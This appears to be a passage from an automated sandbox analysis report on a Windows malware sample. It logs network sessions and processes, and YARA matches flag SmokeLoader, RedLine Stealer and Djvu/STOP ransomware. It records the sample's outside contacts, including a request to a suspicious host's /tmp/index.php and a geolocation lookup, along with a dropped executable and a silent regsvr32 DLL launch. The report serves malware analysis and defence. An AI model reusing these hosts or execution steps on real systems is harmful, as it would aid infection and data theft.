Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2023-10-13 14:06:54 UTC	4591	IN	Data Raw: 33 31 32 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 70 68 69 6c 61 64 65 6c 70 68 69 61 20 70 68 69 6c 6c 69 65 73 20 61 74 6c 61 6e 74 61 20 62 72 61 76 65 73 22 2c 22 63 68 69 63 61 67 6f 20 62 65 61 72 73 20 6d 69 6e 6e 65 73 6f 74 61 20 76 69 6b 69 6e 67 73 22 2c 22 61 6e 6e 75 6c 61 72 20 73 6f 6c 61 72 20 65 63 6c 69 70 73 65 22 2c 22 62 65 73 74 20 62 75 79 20 70 68 79 73 69 63 61 6c 20 6d 65 64 69 61 20 32 30 32 34 22 2c 22 6c 6f 6e 64 6f 6e 20 6c 75 74 6f 6e 20 61 69 72 70 6f 72 74 20 66 69 72 65 22 2c 22 66 6c 6f 72 69 64 61 20 74 6f 72 6e 61 64 6f 65 73 22 2c 22 62 77 69 20 6d 61 72 73 68 61 6c 6c 20 61 69 72 70 6f 72 74 22 2c 22 6f 63 74 6f 62 65 72 20 31 32 20 66 69 6e 61 6c 20 6a 65 6f 70 61 72 64 79 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 Data Ascii: 312)]}'["",["philadelphia phillies atlanta braves","chicago bears minnesota vikings","annular solar eclipse","best buy physical media 2024","london luton airport fire","florida tornadoes","bwi marshall airport","october 12 final jeopardy"],["","","",""
2023-10-13 14:06:54 UTC	4591	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.4	49878	142.250.188.228	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:54 UTC	4587	OUT	GET /sorry/index?continue=https://www.google.com/async/newtab_ogb%3Fhl%3Den-US%26async%3Dfixed:0&hl=en-US&q=EgRmgZFEGP2dpakGIjCDho6_uSUU1PpRFJbi-JCxZp4wpZrd0UV6D6GbORxGhxeXJDCPqJ43sZg2xqNDdukyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 1P_JAR=2023-10-13-14; NID=511=qytlHnbQqL4sloRGlAZhTsHGfjucE9pdknsGlIvbaXSLXSQd55dhOxJdoyMK-vlTOQDc6HMDz8G0GgHp035K-DwDs6Wiinwnk6bT44JPRi-46dpt8miUyWQmSvK00loBXhapVrGBtmgvledi3f1OJjJmv72W7z2zfLo7oZ4hOa4
2023-10-13 14:06:54 UTC	4591	IN	HTTP/1.1 429 Too Many Requests Date: Fri, 13 Oct 2023 14:06:54 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Type: text/html Server: HTTP server (unknown) Content-Length: 3185 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-10-13 14:06:54 UTC	4592	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 73 79 6e 63 2f 6e 65 77 74 61 62 5f 6f 67 62 3f 68 6c 3d 65 6e 2d 55 53 26 61 6d 70 3b 61 73 79 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"><meta name="viewport" content="initial-scale=1"><title>https://www.google.com/async/newtab_ogb?hl=en-US&asy
2023-10-13 14:06:54 UTC	4593	IN	Data Raw: 70 74 3e 0a 3c 73 63 72 69 70 74 3e 76 61 72 20 73 75 62 6d 69 74 43 61 6c 6c 62 61 63 6b 20 3d 20 66 75 6e 63 74 69 6f 6e 28 72 65 73 70 6f 6e 73 65 29 20 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 61 70 74 63 68 61 2d 66 6f 72 6d 27 29 2e 73 75 62 6d 69 74 28 29 3b 7d 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 64 69 76 20 69 64 3d 22 72 65 63 61 70 74 63 68 61 22 20 63 6c 61 73 73 3d 22 67 2d 72 65 63 61 70 74 63 68 61 22 20 64 61 74 61 2d 73 69 74 65 6b 65 79 3d 22 36 4c 66 77 75 79 55 54 41 41 41 41 41 4f 41 6d 6f 53 30 66 64 71 69 6a 43 32 50 62 62 64 48 34 6b 6a 71 36 32 59 31 62 22 20 64 61 74 61 2d 63 61 6c 6c 62 61 63 6b 3d 22 73 75 62 6d 69 74 43 61 6c 6c 62 61 63 6b 22 20 64 61 74 61 2d 73 3d 22 4e 41 44 47 38 72 Data Ascii: pt><script>var submitCallback = function(response) {document.getElementById('captcha-form').submit();};</script><div id="recaptcha" class="g-recaptcha" data-sitekey="6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b" data-callback="submitCallback" data-s="NADG8r
2023-10-13 14:06:54 UTC	4594	IN	Data Raw: 31 35 70 78 20 30 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 65 6d 3b 22 3e 0a 54 68 69 73 20 70 61 67 65 20 61 70 70 65 61 72 73 20 77 68 65 6e 20 47 6f 6f 67 6c 65 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 64 65 74 65 63 74 73 20 72 65 71 75 65 73 74 73 20 63 6f 6d 69 6e 67 20 66 72 6f 6d 20 79 6f 75 72 20 63 6f 6d 70 75 74 65 72 20 6e 65 74 77 6f 72 6b 20 77 68 69 63 68 20 61 70 70 65 61 72 20 74 6f 20 62 65 20 69 6e 20 76 69 6f 6c 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 3c 61 20 68 72 65 66 3d 22 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 70 6f 6c 69 63 69 65 73 2f 74 65 72 6d 73 2f 22 3e 54 65 72 6d 73 20 6f 66 20 53 65 72 76 69 63 65 3c 2f 61 3e 2e 20 54 68 65 20 62 6c 6f 63 6b 20 77 69 6c 6c 20 65 78 70 69 72 65 20 73 68 6f 72 74 Data Ascii: 15px 0; line-height:1.4em;">This page appears when Google automatically detects requests coming from your computer network which appear to be in violation of the <a href="//www.google.com/policies/terms/">Terms of Service</a>. The block will expire short

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.4	49879	142.250.188.228	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:54 UTC	4588	OUT	GET /sorry/index?continue=https://www.google.com/async/newtab_promos&q=EgRmgZFEGP2dpakGIjDUht_iSdQdyXOw9C7LkmLwSguzkOO7PWmZRWUmqieCMTCnfotNaoU9yzHGGbqE1RAyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 1P_JAR=2023-10-13-14; NID=511=TTebJfpRfHL5fxKIfCsKOh0TwKwk9kmsB-0dEzzEIb6m5kf4bglUiTf0S-mnNU0h78s3D4vKFJmnxlVtCDa5nU3gGtVXPWAUkZgaIhiA3vdOfDJYPTEdvsu-Z1Ht9qQaBiPvlqr1lBmAK-kgCq2eU8216hWlUjoAcqUI55gQpU0
2023-10-13 14:06:54 UTC	4595	IN	HTTP/1.1 429 Too Many Requests Date: Fri, 13 Oct 2023 14:06:54 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Type: text/html Server: HTTP server (unknown) Content-Length: 3113 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-10-13 14:06:54 UTC	4595	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 73 79 6e 63 2f 6e 65 77 74 61 62 5f 70 72 6f 6d 6f 73 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"><meta name="viewport" content="initial-scale=1"><title>https://www.google.com/async/newtab_promos</title></head
2023-10-13 14:06:54 UTC	4596	IN	Data Raw: 6c 6c 62 61 63 6b 20 3d 20 66 75 6e 63 74 69 6f 6e 28 72 65 73 70 6f 6e 73 65 29 20 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 61 70 74 63 68 61 2d 66 6f 72 6d 27 29 2e 73 75 62 6d 69 74 28 29 3b 7d 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 64 69 76 20 69 64 3d 22 72 65 63 61 70 74 63 68 61 22 20 63 6c 61 73 73 3d 22 67 2d 72 65 63 61 70 74 63 68 61 22 20 64 61 74 61 2d 73 69 74 65 6b 65 79 3d 22 36 4c 66 77 75 79 55 54 41 41 41 41 41 4f 41 6d 6f 53 30 66 64 71 69 6a 43 32 50 62 62 64 48 34 6b 6a 71 36 32 59 31 62 22 20 64 61 74 61 2d 63 61 6c 6c 62 61 63 6b 3d 22 73 75 62 6d 69 74 43 61 6c 6c 62 61 63 6b 22 20 64 61 74 61 2d 73 3d 22 72 77 4e 65 6e 59 45 58 79 39 78 35 6f 56 4b 56 53 6c 34 48 44 63 39 6f 30 63 4d 52 67 57 Data Ascii: llback = function(response) {document.getElementById('captcha-form').submit();};</script><div id="recaptcha" class="g-recaptcha" data-sitekey="6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b" data-callback="submitCallback" data-s="rwNenYEXy9x5oVKVSl4HDc9o0cMRgW
2023-10-13 14:06:54 UTC	4597	IN	Data Raw: 68 65 6e 20 47 6f 6f 67 6c 65 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 64 65 74 65 63 74 73 20 72 65 71 75 65 73 74 73 20 63 6f 6d 69 6e 67 20 66 72 6f 6d 20 79 6f 75 72 20 63 6f 6d 70 75 74 65 72 20 6e 65 74 77 6f 72 6b 20 77 68 69 63 68 20 61 70 70 65 61 72 20 74 6f 20 62 65 20 69 6e 20 76 69 6f 6c 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 3c 61 20 68 72 65 66 3d 22 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 70 6f 6c 69 63 69 65 73 2f 74 65 72 6d 73 2f 22 3e 54 65 72 6d 73 20 6f 66 20 53 65 72 76 69 63 65 3c 2f 61 3e 2e 20 54 68 65 20 62 6c 6f 63 6b 20 77 69 6c 6c 20 65 78 70 69 72 65 20 73 68 6f 72 74 6c 79 20 61 66 74 65 72 20 74 68 6f 73 65 20 72 65 71 75 65 73 74 73 20 73 74 6f 70 2e 20 20 49 6e 20 74 68 65 20 6d 65 61 6e 74 69 6d 65 2c 20 Data Ascii: hen Google automatically detects requests coming from your computer network which appear to be in violation of the <a href="//www.google.com/policies/terms/">Terms of Service</a>. The block will expire shortly after those requests stop. In the meantime,

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.4	49765	104.21.65.24	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:05:59 UTC	30	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	104.21.65.24	443	192.168.2.4	49765	C:\Users\user\AppData\Local\Temp\C06.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:05:59 UTC	30	IN	HTTP/1.1 429 Too Many Requests Date: Fri, 13 Oct 2023 14:05:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=AeoKqQ1bYkh9MYcx6mmxkp81sLhidSk3vtd9de889FOvaTtQ1SpCMKBmoucmJWTK3ByKpsV9UiiVYTq4BfMAS5GpNAOHKp18h5HBwc%2FcfikzE1rNltv6xSdFwrqo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 815823fcefde7bfd-LAX alt-svc: h3=":443"; ma=86400
2023-10-13 14:05:59 UTC	31	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 36 37 30 66 30 32 30 62 31 37 32 37 35 35 30 65 31 37 34 39 30 61 30 32 35 38 31 34 31 32 30 35 30 64 30 32 30 34 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#670f020b1727550e17490a02581412050d0204
2023-10-13 14:05:59 UTC	31	IN	Data Raw: d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 33 65 35 36 35 62 35 32 34 65 37 65 30 63 35 37 34 65 31 30 34 62 35 66 30 31 34 64 34 62 35 63 35 34 35 62 35 64 34 61 30 33 30 63 35 37 34 65 31 30 34 62 35 66 22 3e 3c 73 70 61 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#3e565b524e7e0c574e104b5f014d4b5c545b5d4a030c574e104b5f"><spa
2023-10-13 14:05:59 UTC	32	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.4	49766	40.68.123.157	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:05:59 UTC	32	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Dkp+dP4Z5zapEpb&MD=nzWCzNSw HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2023-10-13 14:06:00 UTC	32	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "Mx1RoJH/qEwpWfKllx7sbsl28AuERz5IYdcsvtTJcgM=_2160" MS-CorrelationId: 7901ee1c-2503-4dea-8ae8-43fe5cabd487 MS-RequestId: 32a60e7b-0d2f-4ecd-99aa-d954f428e2c0 MS-CV: m8dVb4kjHEii+Kye.0 X-Microsoft-SLSClientCache: 2160 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 13 Oct 2023 14:06:00 GMT Connection: close Content-Length: 25457
2023-10-13 14:06:00 UTC	32	IN	Data Raw: 4d 53 43 46 00 00 00 00 51 22 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 db 8e 00 00 14 00 00 00 00 00 10 00 51 22 00 00 20 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 43 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 0d 92 6f db e5 21 f3 43 43 4b ed 5a 09 38 55 5b df 3f 93 99 90 29 99 e7 29 ec 73 cc 4a 66 32 cf 84 32 64 c8 31 c7 11 52 38 87 90 42 66 09 99 87 32 0f 19 0a 09 51 a6 a8 08 29 53 86 4a 52 84 50 df 46 83 ba dd 7b df fb 7e ef 7d ee 7d bf ef 9e e7 d9 67 ef 35 ee b5 fe eb 3f ff b6 96 81 a2 0a 04 fc 31 40 21 5b 3f a5 ed 1b 04 0e 85 42 a0 10 04 64 12 6c a5 de aa a1 d8 ea f3 58 01 f2 f5 67 0b 5e 9b bd e8 a0 90 1d bf 40 88 9d eb 49 b4 87 9b ab 8b 9d 2b 46 c8 c7 c5 19 92 Data Ascii: MSCFQ"DQ" AdCenvironment.cabo!CCKZ8U[?))sJf22d1R8Bf2Q)SJRPF{~}}g5?1@![?BdlXg^@I+F
2023-10-13 14:06:00 UTC	48	IN	Data Raw: 21 6f b3 eb a6 cc f5 31 be cf 05 e2 a9 fe fa 57 6d 19 30 b3 c2 c5 66 c9 6a df f5 e7 f0 78 bd c7 a8 9e 25 e3 f9 bc ed 6b 54 57 08 2b 51 82 44 12 fb b9 53 8c cc f4 60 12 8a 76 cc 40 40 41 9b dc 5c 17 ff 5c f9 5e 17 35 98 24 56 4b 74 ef 42 10 c8 af bf 7f c6 7f f2 37 7d 5a 3f 1c f2 99 79 4a 91 52 00 af 38 0f 17 f5 2f 79 81 65 d9 a9 b5 6b e4 c7 ce f6 ca 7a 00 6f 4b 30 44 24 22 3c cf ed 03 a5 96 8f 59 29 bc b6 fd 04 e1 70 9f 32 4a 27 fd 55 af 2f fe b6 e5 8e 33 bb 62 5f 9a db 57 40 e9 f1 ce 99 66 90 8c ff 6a 62 7f dd c5 4a 0b 91 26 e2 39 ec 19 4a 71 63 9d 7b 21 6d c3 9c a3 a2 3c fa 7f 7d 96 6a 90 78 a6 6d d2 e1 9c f9 1d fc 38 d8 94 f4 c6 a5 0a 96 86 a4 bd 9e 1a ae 04 42 83 b8 b5 80 9b 22 38 20 b5 25 e5 64 ec f7 f4 bf 7e 63 59 25 0f 7a 2e 39 57 76 a2 71 aa 06 8a Data Ascii: !o1Wm0fjx%kTW+QDS`v@@A\\^5$VKtB7}Z?yJR8/yekzoK0D$"<Y)p2J'U/3b_W@fjbJ&9Jqc{!m<}jxm8B"8 %d~cY%z.9Wvq

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.4	49767	213.6.54.58	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:03 UTC	57	OUT	GET /tmp/index.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: alayyadcare.com

Target ID:	0
Start time:	16:04:57
Start date:	13/10/2023
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\file.exe
Imagebase:	0x400000
File size:	244'224 bytes
MD5 hash:	A235E0AC41F596B68F029EA73E5C5FBB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.1746361183.00000000008AA000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.1746495018.0000000002351000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.1746495018.0000000002351000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.1746454910.0000000002330000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.1746454910.0000000002330000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.1746162536.00000000006B0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000003.1674427121.0000000002330000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	16:05:04
Start date:	13/10/2023
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff72b770000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	16:05:25
Start date:	13/10/2023
Path:	C:\Users\user\AppData\Roaming\vdhbahw
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\vdhbahw
Imagebase:	0x400000
File size:	244'224 bytes
MD5 hash:	A235E0AC41F596B68F029EA73E5C5FBB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000007.00000002.2007648525.0000000000738000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000007.00000003.1956532519.00000000006C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000007.00000002.2007809897.0000000002111000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000007.00000002.2007809897.0000000002111000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000007.00000002.2007419730.00000000006C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000007.00000002.2007419730.00000000006C0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000007.00000002.2007384509.00000000006B0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:05:53
Start date:	13/10/2023
Path:	C:\Users\user\AppData\Local\Temp\C06.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\C06.exe
Imagebase:	0x400000
File size:	767'488 bytes
MD5 hash:	C2AB34E22731EDA5D7BE4450C6D8360F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000008.00000002.2249920572.0000000002289000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 54%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	16:05:55
Start date:	13/10/2023
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32 /s C:\Users\user\AppData\Local\Temp\1917.dll
Imagebase:	0x7ff6d9f00000
File size:	25'088 bytes
MD5 hash:	B0C2FA35D14A9FAD919E99D9D75E1B9E
